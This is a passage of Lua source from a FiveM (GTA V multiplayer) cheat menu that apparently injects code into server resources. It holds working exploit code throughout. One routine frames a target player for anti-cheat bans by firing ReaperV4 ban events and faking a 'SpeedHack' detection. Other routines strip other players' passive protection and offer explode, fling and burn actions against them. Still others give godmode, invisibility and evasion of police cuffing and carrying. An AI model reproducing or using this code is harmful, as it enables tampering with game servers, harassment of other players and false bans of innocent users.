                                                            'ReaperV4:ban', 'reaper:ban', 'reaper:detected',
                                                            'ac:detection', 'ReaperV4:ac:detect',
                                                        }
                                                        for _, e in ipairs(evts) do
                                                            TriggerServerEvent(e, sid, 'SpeedHack', 99999)
                                                        end
                                                        for k, v in pairs(_G) do
                                                            if type(v) == 'function' then
                                                                local kl = k:lower()
                                                                if kl == 'banplayer' or kl == 'kickplayer'
                                                                    or kl:find('^reaper') or kl:find('ban') then
                                                                    pcall(v, sid)
                                                                end
                                                            end
                                                        end
                                                        local _D = Detections or Detections_Self
                                                        if _D and type(_D.detection) == 'function' then
                                                            local orig = _D.detection
                                                            local fired = false
                                                            _D.detection = function(s, ...)
                                                                if not fired and (s == nil or s == sid or s == GetPlayerFromServerId(sid)) then
                                                                    fired = true
                                                                    CreateThread(function()
                                                                        Wait(4000)
                                                                        _D.detection = orig
                                                                    end)
                                                                    return { key = 'SpeedHack', value = 99999, serverId = sid }
                                                                end
                                                                return orig(s, ...)
                                                            end
                                                        end
                                                    end)
                                                ]==], targetSid))
                                            end

                                            SafeRunNative(CreateThread, function()
                                                -- request control — don't gate on it, run phases regardless
                                                local ctrlTimeout = GetGameTimer() + 5000
                                                while not NetworkHasControlOfEntity(entity) and GetGameTimer() < ctrlTimeout do
                                                    NetworkRequestControlOfEntity(entity)
                                                    Wait(50)
                                                end

                                                local ox, oy, oz = table.unpack(table.pack(GetEntityCoords(entity)))

                                                -- state bag blitz — replicates server-side, no ownership needed
                                                local netId = NetworkGetNetworkIdFromEntity(entity)
                                                if netId and netId > 0 then
                                                    local bag = Entity(entity).state
                                                    for i = 1, 40 do
                                                        bag:set('_jv', 99999.0 * i, true)
                                                        bag:set('_jh', -9999 * i, true)
                                                        Wait(15)
                                                    end
                                                end

                                                -- phase 1: impossible velocity — speed AC
                                                for i = 1, 15 do
                                                    SafeRunNative(SetEntityVelocity, entity,  99999.0,  99999.0,  99999.0)
                                                    Wait(30)
                                                    SafeRunNative(SetEntityVelocity, entity, -99999.0, -99999.0, -99999.0)
                                                    Wait(30)
                                                end
                                                -- phase 2: rapid position jumps — teleport AC
                                                local jumps = {
                                                    {2000.0, 1000.0, 800.0}, {-3000.0, 2500.0, 600.0},
                                                    {1500.0, -2000.0, 1200.0}, {-1000.0, -3500.0, 900.0},
                                                    {4000.0, 500.0, 1500.0}, {-2500.0, 3000.0, 700.0},
                                                    {800.0, -4000.0, 1000.0}, {-3500.0, -1500.0, 1300.0},
                                                }
                                                for _, j in ipairs(jumps) do
                                                    SafeRunNative(SetEntityCoords, entity,
                                                        ox + j[1], oy + j[2], oz + j[3],
                                                        false, false, false, true)
                                                    Wait(25)
                                                end
                                                -- phase 3: health above server max — godmode AC
                                                for i = 1, 10 do
                                                    SafeRunNative(SetPedMaxHealth, entity, 32767)
                                                    SafeRunNative(SetEntityHealth, entity, 32767, 0)
                                                    Wait(50)
                                                end
                                                -- phase 4: ownership flip + velocity spam
                                                for i = 1, 20 do
                                                    NetworkRequestControlOfEntity(entity)
                                                    SafeRunNative(SetEntityVelocity, entity, 99999.0, 99999.0, 99999.0)
                                                    Wait(20)
                                                end
                                                SafeRunNative(SetEntityCoords, entity, ox, oy, oz, false, false, false, true)
                                            end)
                                        end
                                    },
                                }

                                local option = _G.SetClient_SavedFcSetOption

                                if not option or option > #options then
                                    option = 1
                                end

                                local hoveringOptions = {}

                                for i = 1, #options do
                                    local setOption = options[i]
                                    local liveLabel = setOption.liveLabel
                                    local hoveringData = {
                                        id = setOption.id,
                                        name = setOption.label
                                    }

                                    if liveLabel then
                                        local liveData = liveLabel(i == option)

                                        hoveringData.name = liveData.label
                                        hoveringData.data = liveData.data
                                    end

                                    hoveringOptions[#hoveringOptions + 1] = hoveringData
                                end

                                SendToHook('SetHoveringTextOptions', hoveringOptions)
                                SendToHook('SetHoveringTextOption', hoveringOptions[option].id)

                                SafeRunNative(CreateThread, function()
                                    for i = 1, 4 do
                                        Wait(200)

                                        SendToHook('SetHoveringTextOptions', hoveringOptions)
                                        SendToHook('SetHoveringTextOption', hoveringOptions[option].id)
                                    end
                                end)

                                CreateTrackedThread('Freecam', {
                                    thread = function(self)
                                        while self.isActive do
                                            if not cam or not DoesCamExist(cam) then
                                                break
                                            end

                                            if not IsCamActive(cam) or GetRenderingCam() ~= cam then
                                                SafeRunNative(SetCamActive, cam, true)
                                                SafeRunNative(RenderScriptCams, true, false, 0, true, true)
                                            end

                                            SafeRunNative(DisableAllControlActions, 0)
                                            SafeRunNative(EnableControlAction, 0, 249, true)

                                            local fcTargetSid = _G.SetClient_FcTargetSid
                                            if fcTargetSid then
                                                local fcActionCount = 8
                                                local fcIdx = _G.SetClient_FcTargetIdx or 1
                                                if IsDisabledControlJustPressed(0, 242) then
                                                    fcIdx = (fcIdx % fcActionCount) + 1
                                                    _G.SetClient_FcTargetIdx = fcIdx
                                                    SendToHook('FcTargetScroll', fcIdx)
                                                elseif IsDisabledControlJustPressed(0, 241) then
                                                    fcIdx = ((fcIdx - 2 + fcActionCount) % fcActionCount) + 1
                                                    _G.SetClient_FcTargetIdx = fcIdx
                                                    SendToHook('FcTargetScroll', fcIdx)
                                                elseif IsDisabledControlJustPressed(0, 215) then
                                                    local fcNames = { 'Teleport To', 'Bring Here', 'Spectate', 'Freeze', 'Explode', 'Launch', 'Fling', 'Burn' }
                                                    SendToHook('FcPlayerAction', fcNames[fcIdx], fcTargetSid)
                                                elseif IsDisabledControlJustPressed(0, 194) or IsDisabledControlJustPressed(0, 200) then
                                                    _G.SetClient_FcTargetSid = nil
                                                    _G.SetClient_FcTargetIdx = nil
                                                    SendToHook('FcTargetCancel')
                                                end
                                            else

                                            local previousOption = option
                                            local previousSetOption = options[option]
                                            local previousOnUnhover = previousSetOption.onUnhover

                                            if IsDisabledControlJustPressed(0, 242) then
                                                if option < #options then
                                                    option = option + 1
                                                else
                                                    option = 1
                                                end
                                            elseif IsDisabledControlJustPressed(0, 241) then
                                                if option > 1 then
                                                    option = option - 1
                                                else
                                                    option = #options
                                                end
                                            end

                                            local setOption = options[option]
                                            local onLeft = setOption.onLeft
                                            local onRight = setOption.onRight
                                            local onEnter = setOption.onEnter
                                            local onClick = setOption.onClick
                                            local onUnclick = setOption.onUnclick
                                            local onHover = setOption.onHover
                                            local onHold = setOption.onHold
                                            local getChanges = setOption.getChanges
                                            local forceUpdate = false
                                            local coords = GetCamCoord(cam)
                                            local rotation = GetCamRot(cam, 2)
                                            local radZ = math.rad(rotation.z)
                                            local setX = math.rad(rotation.x)
                                            local setNum = math.abs(math.cos(setX))
                                            local setFlag = 511

                                            if getChanges then
                                                local changes = getChanges()
                                                local newFlag = changes.rayFlag

                                                if newFlag then
                                                    setFlag = newFlag
                                                end
                                            end

                                            local retval, hit, endCoords, surface, entity = GetShapeTestResult(StartExpensiveSynchronousShapeTestLosProbe(coords.x, coords.y, coords.z, coords.x + (-math.sin(radZ) * setNum) * 500.0, coords.y + (math.cos(radZ) * setNum) * 500.0, coords.z + math.sin(setX) * 500.0, setFlag, PlayerPedId(), 7))

                                            if not hit or #(endCoords - vec3(0.0, 0.0, 0.0)) <= 0.0 then
                                                endCoords = nil
                                            end

                                            if previousOption ~= option then
                                                SendToHook('SetHoveringTextOption', setOption.id)

                                                if onHover then
                                                    onHover(option, previousOption)
                                                end

                                                if previousOnUnhover then
                                                    previousOnUnhover(previousOption, option)
                                                end
                                            else
                                                local liveLabel = setOption.liveLabel

                                                if liveLabel then
                                                    local liveData = liveLabel(true, entity, endCoords)

                                                    SendToHook('UpdateHoveringTextOption', setOption.id, {
                                                        name = liveData.name,
                                                        data = liveData.data
                                                    })

                                                end
                                            end

                                            if onLeft and IsDisabledControlJustPressed(0, 189) then
                                                onLeft()
                                            end

                                            if onRight and IsDisabledControlJustPressed(0, 190) then
                                                onRight()
                                            end

                                            if onEnter and IsDisabledControlJustPressed(0, 215) then
                                                onEnter()
                                            end

                                            if IsDisabledControlJustPressed(0, 24) then
                                                setOption.clicked = true

                                                if onClick then
                                                    onClick(entity, endCoords, coords, rotation)
                                                end
                                            elseif IsDisabledControlPressed(0, 24) then
                                                setOption.clicked = true

                                                if onHold then
                                                    local setTimer = GetGameTimer()

                                                    if not lastHold or (setTimer - lastHold) >= (setOption.holdCooldown or 100) then
                                                        lastHold = setTimer
                                                        local newData = onHold(entity, endCoords, coords, rotation)

                                                        if newData then
                                                            local newCoords = newData.coords

                                                            if newCoords then
                                                                coords = newCoords
                                                                forceUpdate = true
                                                            end
                                                        end
                                                    end
                                                end
                                            elseif setOption.clicked then
                                                setOption.clicked = false

                                                if onUnclick then
                                                    onUnclick(entity, endCoords, coords, rotation)
                                                end
                                            end

                                            local lookX = GetDisabledControlNormal(0, 1)
                                            local lookY = GetDisabledControlNormal(0, 2)
                                            local pitch = rotation.x
                                            local heading = rotation.z

                                            heading = heading + (lookX * -sensitivity)
                                            pitch = pitch + (lookY * -sensitivity)
                                            pitch = math.max(-89.9, math.min(89.9, pitch))

                                            SafeRunNative(SetCamRot, cam, pitch, 0.0, heading, 2)

                                            local dir = vec3(-math.sin(math.rad(heading)) * math.cos(math.rad(pitch)), math.cos(math.rad(heading)) * math.cos(math.rad(pitch)), math.sin(math.rad(pitch)))
                                            local move = vec3(0, 0, 0)

                                            if IsDisabledControlPressed(0, 32) then
                                                move = move + (dir * speedBase)
                                            end

                                            if IsDisabledControlPressed(0, 33) then
                                                move = move - (dir * speedBase)
                                            end

                                            if IsDisabledControlPressed(0, 34) then
                                                move = move + (vec3(-dir.y, dir.x, 0) * speedBase)
                                            end

                                            if IsDisabledControlPressed(0, 35) then
                                                move = move + (vec3(dir.y, -dir.x, 0) * speedBase)
                                            end

                                            if IsDisabledControlPressed(0, 21) then
                                                move = move * 5.0
                                            end

                                            if IsDisabledControlPressed(0, 36) then
                                                move = move / 5.0
                                            end

                                            SafeRunNative(SetFocusPosAndVel, coords.x, coords.y, coords.z, 0.0, 0.0, 0.0)

                                            if #(move) > 0.01 or forceUpdate then
                                                local newCoords = coords + (move * 0.1)

                                                SafeRunNative(SetCamCoord, cam, newCoords.x, newCoords.y, newCoords.z)
                                            end

                                            end
                                            Wait(0)
                                        end
                                    end,
                                    onRemove = function()
                                        local setOption = options[option]
                                        local onUnhover = setOption.onUnhover
                                        local ped = PlayerPedId()

                                        _G.SetClient_SavedFcSetOption = option

                                        if onUnhover then
                                            onUnhover(option, false)
                                        end

                                        SafeRunNative(NewLoadSceneStop)
                                        SafeRunNative(ClearFocus)
                                        SafeRunNative(RenderScriptCams, false, false, 0, true, true)
                                        SafeRunNative(DestroyCam, cam, false)
                                    end
                                })
                            ]])
                        end
                    },
                    {
                        label = 'Super Punch',
                        icon = "ph ph-skull",
                        desc = "Revives you",
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    superPunch = true
                                    SafeRunNative(CreateThread, function()
                                        while superPunch do
                                            SafeRunNative(SetWeaponDamageModifier, GetHashKey('WEAPON_UNARMED'), 500.0)
                                            Wait(0)
                                        end
                                    end)
                                ]])
                            else
                                injectCode('monitor', [[
                                    superPunch = false
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Godmode',
                        icon = "ph ph-skull",
                        desc = "Revives you",
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            JunkieHUDStates['Godmode'] = enabled
                            if enabled then
                                injectCode('monitor', [[
                                    _G.junkieGodmode = true
                                    local setPed = PlayerPedId()
                                    SafeRunNative(SetEntityInvincible, setPed, true)
                                ]])
                            else
                                injectCode('monitor', [[
                                    _G.junkieGodmode = false
                                    local setPed = PlayerPedId()
                                    SafeRunNative(SetEntityInvincible, setPed, false)
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Invisibility',
                        icon = "ph ph-skull",
                        desc = "Revives you",
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    local setPed = PlayerPedId()
                                    SafeRunNative(SetEntityVisible, setPed, false, false)
                                ]])
                            else
                                injectCode('monitor', [[
                                    local setPed = PlayerPedId()
                                    SafeRunNative(SetEntityVisible, setPed, true, false)
                                ]])
                            end
                        end
                    },
                    {
                        label = 'No Ragdoll',
                        icon = "ph ph-skull",
                        desc = "Revives you",
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    noRagdoll = true
                                    SafeRunNative(CreateThread, function()
                                        while noRagdoll do
                                            SafeRunNative(SetPedCanRagdoll, PlayerPedId(), false)
                                            Wait(30)
                                        end
                                    end)    
                                ]])
                            else
                                injectCode('monitor', [[
                                    noRagdoll = false
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Fast Run',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    FastRun = true
                                    SafeRunNative(CreateThread, function()
                                        while FastRun do
                                            SafeRunNative(SetRunSprintMultiplierForPlayer, PlayerId(), 1.49)
                                            SafeRunNative(SetPedMoveRateOverride, PlayerPedId(), 5.0)
                                            Wait(1)
                                        end
                                        SafeRunNative(SetRunSprintMultiplierForPlayer, PlayerId(), 1.0)
                                        SafeRunNative(SetPedMoveRateOverride, PlayerPedId(), 1.0)
                                    end)  
                                ]])
                            else
                                injectCode('monitor', [[
                                    FastRun = false
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Infinite Stamina',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    infiniteStamina = true
                                    SafeRunNative(CreateThread, function()
                                        while infiniteStamina do
                                            SafeRunNative(ResetPlayerStamina, PlayerId())
                                            Wait(30)
                                        end
                                    end)    
                                ]])
                            else
                                injectCode('monitor', [[
                                    infiniteStamina = false
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Super Jump',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    SuperJumpToggle = true
                                    SafeRunNative(CreateThread, function()
                                        while SuperJumpToggle do
                                            SafeRunNative(SetSuperJumpThisFrame, PlayerId())
                                            Wait(0)
                                        end
                                    end)
                                ]])
                            else
                                injectCode('monitor', [[
                                    SuperJumpToggle = false
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Infinite Jump',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    InfiniteJump = true
                                    SafeRunNative(CreateThread, function()
                                        while InfiniteJump do
                                            if IsControlJustPressed(0, 18) then
                                                SafeRunNative(TaskJump, PlayerPedId(), false)
                                            end
                                            
                                            Wait(0)
                                        end
                                    end)
                                ]])
                            else
                                injectCode('monitor', [[
                                    InfiniteJump = false
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Spider-Man Mode',
                        type = 'checkbox',
                        desc = 'Toggle: applies downward force to your vehicle — glues it to walls and ceilings.',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieSpiderActive = %s
                                if _G.junkieSpiderActive and not _G.junkieSpiderThread then
                                    _G.junkieSpiderThread = true
                                    CreateThread(function()
                                        while _G.junkieSpiderActive do
                                            Wait(0)
                                            local ped = PlayerPedId()
                                            local veh = GetVehiclePedIsIn(ped, false)
                                            if veh ~= 0 and DoesEntityExist(veh) then
                                                NetworkRequestControlOfEntity(veh)
                                                ApplyForceToEntity(veh, 1, 0.0, 0.0, -3.0, 0.0, 0.0, 0.0, 0, true, true, true, true, true)
                                            end
                                        end
                                        _G.junkieSpiderThread = nil
                                    end)
                                end
                            ]], tostring(checked)))
                            showNotify('Spider-Man Mode ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                }
            },
            {
                name = 'Misc',
                submenu = {
                    {
                        label = 'Tiny Ped',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    tinyPed = true

                                    local function applyScaleToEntity(ped, scale)
                                        if not DoesEntityExist(ped) then return end
                                        if IsPedInAnyVehicle(ped, false) then return end

                                        local forward, right, upVector, position = GetEntityMatrix(ped)

                                        local fn = norm(forward)  * scale
                                        local rn = norm(right)    * scale
                                        local un = norm(upVector) * scale

                                        local entitySpeed = GetEntitySpeed(ped)
                                        local entityHeightAboveGround = GetEntityHeightAboveGround(ped)
                                        local adjustedZ = (entitySpeed <= 0 and entityHeightAboveGround < 2)
                                        and (entityHeightAboveGround - scale)
                                        or (GetEntityUprightValue(ped) - scale)

                                        SafeRunNative(SetEntityMatrix, ped, fn.x, fn.y, fn.z, rn.x, rn.y, rn.z, un.x, un.y, un.z, position.x, position.y, position.z - adjustedZ)
                                    end

                                    SafeRunNative(CreateThread, function()
                                        while tinyPed do
                                            Wait(0)
                                            applyScaleToEntity(PlayerPedId(), 0.5)
                                        end
                                        applyScaleToEntity(PlayerPedId(), 1.0)
                                    end)
                                ]])
                            else
                                injectCode('monitor', [[
                                    tinyPed = false
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Uncuff Self',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                local ped = PlayerPedId()

                                SafeRunNative(SetEnableHandcuffs, ped, false)
                                SafeRunNative(ClearPedTasksImmediately, ped)
                                SafeRunNative(ClearPedSecondaryTask, ped)
                                SafeRunNative(FreezeEntityPosition, ped, false)
                                SafeRunNative(DetachEntity, ped, true, false)
                                SafeRunNative(SetEntityMaxSpeed, ped, 50.0)
                                SafeRunNative(SetPedCanRagdoll, ped, true)
                                SafeRunNative(SetPlayerControl, PlayerId(), true, 0)

                                if GetPedPropIndex(ped, 7) ~= -1 then
                                    SafeRunNative(ClearPedProp, ped, 7)
                                end
                            ]])

                            local cuffResources = {
                                { resource = 'wasabi_police',  event = 'wasabi_police:client:uncuffSelf' },
                                { resource = 'ps-cuff',        event = 'ps-cuff:client:uncuff' },
                                { resource = 'qb-policejob',   event = 'qb-policejob:client:uncuffPlayer' },
                                { resource = 'ox_police',      event = 'ox_police:client:uncuff' },
                                { resource = 'lc_jail',        event = 'lc_jail:client:uncuff' },
                                { resource = 'tk_handcuffs',   event = 'tk_handcuffs:client:uncuff' },
                            }

                            for _, v in ipairs(cuffResources) do
                                if MachoResourceInjectable(v.resource) then
                                    injectCode(v.resource, string.format([[
                                        SafeRunNative(TriggerEvent, '%s')
                                    ]], v.event))
                                end
                            end
                        end
                    },
                    {
                        label = 'Fast Punch',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    fastPunch = true
                                    SafeRunNative(CreateThread, function()
                                        while fastPunch do
                                            local ped = PlayerPedId()
                                            if IsPedOnFoot(ped) and not IsPedInAnyVehicle(ped, false) and GetSelectedPedWeapon(ped) == GetHashKey('WEAPON_UNARMED') then
                                                if SafeRunNative(IsControlPressed, 0, 24) or SafeRunNative(IsControlPressed, 0, 257) then
                                                    SafeRunNative(ClearPedTasksImmediately, ped)
                                                    Wait(500)
                                                end
                                            end
                                            Wait(0)
                                        end
                                    end)
                                ]])
                            else
                                injectCode('monitor', [[
                                    fastPunch = false
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Bubble Mode',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                local setPed = PlayerPedId()
                                SafeRunNative(SetPedConfigFlag, setPed, 423, %s)
                            ]], checked))
                        end
                    },
                    {
                        label = 'Bubble Mode V2',
                        type = 'checkbox',
                        desc = 'Toggle: passive config flag + no-collision loop. Lets you shoot through it when attacking.',
                        onConfirm = function(checked)
                            JunkieHUDStates['Bubble'] = checked
                            injectCode('monitor', string.format([[
                                _G.junkieBubbleV2Active = %s
                                if _G.junkieBubbleV2Active then
                                    SetPedConfigFlag(PlayerPedId(), 423, true)
                                    if not _G.junkieBubbleV2Thread then
                                        _G.junkieBubbleV2Thread = true
                                        CreateThread(function()
                                            while _G.junkieBubbleV2Active do
                                                Wait(0)
                                                local p = PlayerPedId()
                                                local aggressive = IsControlPressed(0, 24) or IsDisabledControlPressed(0, 24) or IsPedShooting(p)
                                                NetworkSetFriendlyFireOption(aggressive)
                                                SetCanAttackFriendly(p, aggressive, false)
                                                for _, i in ipairs(GetActivePlayers()) do
                                                    if i ~= PlayerId() then
                                                        SetEntityNoCollisionEntity(p, GetPlayerPed(i), true)
                                                    end
                                                end
                                            end
                                            local p = PlayerPedId()
                                            SetPedConfigFlag(p, 423, false)
                                            NetworkSetFriendlyFireOption(true)
                                            SetCanAttackFriendly(p, true, false)
                                            for _, i in ipairs(GetActivePlayers()) do
                                                if i ~= PlayerId() then
                                                    SetEntityNoCollisionEntity(p, GetPlayerPed(i), false)
                                                end
                                            end
                                            _G.junkieBubbleV2Thread = nil
                                        end)
                                    end
                                else
                                    SetPedConfigFlag(PlayerPedId(), 423, false)
                                end
                            ]], tostring(checked)))
                            showNotify('Bubble Mode V2 ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Kill Bubble',
                        type = 'checkbox',
                        desc = 'Toggle: strips Bubble Mode (config flag 423) from all other players every frame.',
                        onConfirm = function(checked)
                            JunkieHUDStates['Kill Bubble'] = checked
                            injectCode('monitor', string.format([[
                                _G.junkieKillBubbleActive = %s
                                if _G.junkieKillBubbleActive and not _G.junkieKillBubbleThread then
                                    _G.junkieKillBubbleThread = true
                                    CreateThread(function()
                                        while _G.junkieKillBubbleActive do
                                            Wait(0)
                                            local me = PlayerId()
                                            for _, pid in ipairs(GetActivePlayers()) do
                                                if pid ~= me then
                                                    local tped = GetPlayerPed(pid)
                                                    if DoesEntityExist(tped) then
                                                        SetPedConfigFlag(tped, 423, false)
                                                    end
                                                end
                                            end
                                        end
                                        _G.junkieKillBubbleThread = nil
                                    end)
                                end
                            ]], tostring(checked)))
                            showNotify('Kill Bubble ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Bubble Seer',
                        type = 'checkbox',
                        desc = 'Toggle: draws a BUBBLE label above any player with passive mode active.',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieBubbleSeerActive = %s
                                if _G.junkieBubbleSeerActive and not _G.junkieBubbleSeerThread then
                                    _G.junkieBubbleSeerThread = true
                                    CreateThread(function()
                                        while _G.junkieBubbleSeerActive do
                                            Wait(0)
                                            local me = PlayerId()
                                            for _, pid in ipairs(GetActivePlayers()) do
                                                if pid ~= me then
                                                    local tped = GetPlayerPed(pid)
                                                    if tped ~= 0 and DoesEntityExist(tped) then
                                                        if GetPedConfigFlag(tped, 423, true) then
                                                            local hc = GetPedBoneCoords(tped, 31086, 0.0, 0.0, 0.45)
                                                            local onScreen, sx, sy = World3dToScreen2d(hc.x, hc.y, hc.z)
                                                            if onScreen then
                                                                SetTextFont(4)
                                                                SetTextScale(0.35, 0.35)
                                                                SetTextColour(180, 80, 255, 230)
                                                                SetTextOutline()
                                                                SetTextCentre(true)
                                                                SetTextEntry("STRING")
                                                                AddTextComponentString("BUBBLE")
                                                                DrawText(sx, sy)
                                                            end
                                                        end
                                                    end
                                                end
                                            end
                                        end
                                        _G.junkieBubbleSeerThread = nil
                                    end)
                                end
                            ]], tostring(checked)))
                            showNotify('Bubble Seer ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Bypass Bubble',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                local setPed = PlayerPedId()
                                SafeRunNative(SetPedConfigFlag, setPed, 140, %s)
                            ]], checked))
                        end
                    },
                    {
                        label = 'Anti Teleport',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                antiTeleportEnabled = %s
                                local lastPos = GetEntityCoords(PlayerPedId())
                                local teleportThreshold = 50.0
                                
                                SafeRunNative(CreateThread, function()
                                    while antiTeleportEnabled do
                                        Wait(100)
                                        local setPed = PlayerPedId()
                                        local currentPos = GetEntityCoords(setPed)
                                        local distance = #(currentPos - lastPos)
                                        
                                        if distance > teleportThreshold then
                                            SafeRunNative(SetEntityCoordsNoOffset, setPed, lastPos.x, lastPos.y, lastPos.z, true, true, true)
                                        else
                                            lastPos = currentPos
                                        end
                                    end
                                end)
                            ]], checked))
                        end
                    },
                    {
                        label = 'Anti Cuff',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                antiCuffEnabled = %s
                                local cuffAnims = {
                                    { dict = 'mp_arresting', anim = 'idle' },
                                    { dict = 'rcmpaparazzo_3', anim = 'idle_a' },
                                    { dict = 'anim@move_m@prisoner_cuffed', anim = 'idle' },
                                    { dict = 'missfinale_c2mcs_1', anim = 'fin_c2_mcs_1_camman' },
                                }
                                SafeRunNative(CreateThread, function()
                                    while antiCuffEnabled do
                                        Wait(250)
                                        local ped = PlayerPedId()
                                        local isCuffed = false
                                        for _, v in ipairs(cuffAnims) do
                                            if IsEntityPlayingAnim(ped, v.dict, v.anim, 3) then
                                                isCuffed = true
                                                break
                                            end
                                        end
                                        if not isCuffed then
                                            local speed = GetEntitySpeed(ped)
                                            local maxSpeed = GetEntityMaxSpeed(ped)
                                            if maxSpeed > 0 and maxSpeed < 0.5 and not IsPedInAnyVehicle(ped, false) then
                                                isCuffed = true
                                            end
                                        end
                                        if isCuffed then
                                            SafeRunNative(ClearPedTasksImmediately, ped)
                                            SafeRunNative(SetEntityMaxSpeed, ped, 50.0)
                                            SafeRunNative(SetPedCanRagdoll, ped, true)
                                            SafeRunNative(SetPedDefaultComponentVariation, ped)
                                            local objs = {}
                                            for i = 0, GetNumberOfPedDrawableVariations(ped, 7) do
                                                local obj = GetPedPropIndex(ped, 7)
                                                if obj ~= -1 then
                                                    SafeRunNative(ClearPedProp, ped, 7)
                                                end
                                            end
                                        end
                                    end
                                end)
                            ]], checked))
                        end
                    },
                    {
                        label = 'Anti Carry',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                antiCarryEnabled = %s
                                local carryAnims = {
                                    { dict = 'missambulance',        anim = 'amb_carry_patient_a' },
                                    { dict = 'missambulance',        anim = 'amb_carry_patient_b' },
                                    { dict = 'missambulance',        anim = 'amb_carry_patient_c' },
                                    { dict = 'anim@heists@box',      anim = 'idle' },
                                    { dict = 'anim@mp_intro@',       anim = 'idleloop' },
                                    { dict = 'rcmpaparazzo_3',       anim = 'carry_idle' },
                                    { dict = 'missfinale_c2mcs_1',   anim = 'fin_c2_mcs_1_camman' },
                                    { dict = 'anim@move_m@carry_piggyback', anim = 'idle' },
                                    { dict = 'anim@move_m@carry_piggyback', anim = 'loop' },
                                    { dict = 'nm',                   anim = 'firemans_carry' },
                                }
                                SafeRunNative(CreateThread, function()
                                    while antiCarryEnabled do
                                        Wait(200)
                                        local ped = PlayerPedId()
                                        local isCarried = false
                                        for _, v in ipairs(carryAnims) do
                                            if IsEntityPlayingAnim(ped, v.dict, v.anim, 3) then
                                                isCarried = true
                                                break
                                            end
                                        end
                                        if not isCarried then
                                            if GetEntityAttachedTo(ped) ~= 0 then
                                                isCarried = true
                                            end
                                        end
                                        if isCarried then
                                            SafeRunNative(DetachEntity, ped, true, true)
                                            SafeRunNative(ClearPedTasksImmediately, ped)
                                            SafeRunNative(SetEntityMaxSpeed, ped, 50.0)
                                            SafeRunNative(SetPedCanRagdoll, ped, true)
                                            local coords = GetEntityCoords(ped)
                                            SafeRunNative(SetEntityCoordsNoOffset, ped, coords.x, coords.y, coords.z, true, true, true)
                                        end
                                    end
                                end)
                            ]], checked))
                        end
                    },
                    {
                        label = 'Throw Nearest Vehicle',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                local vehicle = GetNearestVehicle(true)

                                if vehicle and vehicle > 0 then
                                    EnterVehicleThrowing(vehicle)
                                end
                            ]])
                        end
                    },
                    {
                        label = 'Laser Eyes',
                        type = 'checkbox',
                        checked = false,
                        desc = 'Hold E to fire lasers from your eyes',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.LaserEyesActive = %s
                                _G.LaserEyesLastShot = 0

                                if _G.LaserEyesActive and not _G.LaserEyesThread then
                                    _G.LaserEyesThread = true
                                    SafeRunNative(CreateThread, function()
                                        local function v3ok(v)
                                            return v and v.x == v.x and v.y == v.y and v.z == v.z
                                        end

                                        local function rotToDir(r)
                                            local rx = (math.pi / 180) * r.x
                                            local rz = (math.pi / 180) * r.z
                                            return vector3(
                                                -math.sin(rz) * math.abs(math.cos(rx)),
                                                 math.cos(rz) * math.abs(math.cos(rx)),
                                                 math.sin(rx)
                                            )
                                        end

                                        while _G.LaserEyesActive do
                                            Wait(0)
                                            local ped = PlayerPedId()
                                            if not ped or ped == 0 or not DoesEntityExist(ped) then goto cont end

                                            if not (IsControlPressed(0, 38) or IsDisabledControlPressed(0, 38)) then goto cont end

                                            local camCoord = GetGameplayCamCoord()
                                            local camRot   = GetGameplayCamRot(2)
                                            if not v3ok(camCoord) then goto cont end

                                            local dir = rotToDir(camRot)
                                            local far = vector3(
                                                camCoord.x + dir.x * 5000.0,
                                                camCoord.y + dir.y * 5000.0,
                                                camCoord.z + dir.z * 5000.0
                                            )

                                            local ray = StartExpensiveSynchronousShapeTestLosProbe(
                                                camCoord.x, camCoord.y, camCoord.z,
                                                far.x, far.y, far.z,
                                                -1, ped, 0
                                            )
                                            local _, hit, endCoords = GetShapeTestResult(ray)

                                            local leftEye  = GetPedBoneCoords(ped, 25260, 0.0, 0.0, 0.0)
                                            local rightEye = GetPedBoneCoords(ped, 27474, 0.0, 0.0, 0.0)
                                            local aimPt    = (hit == 1 and v3ok(endCoords)) and endCoords or far

                                            if v3ok(leftEye) and v3ok(rightEye) then
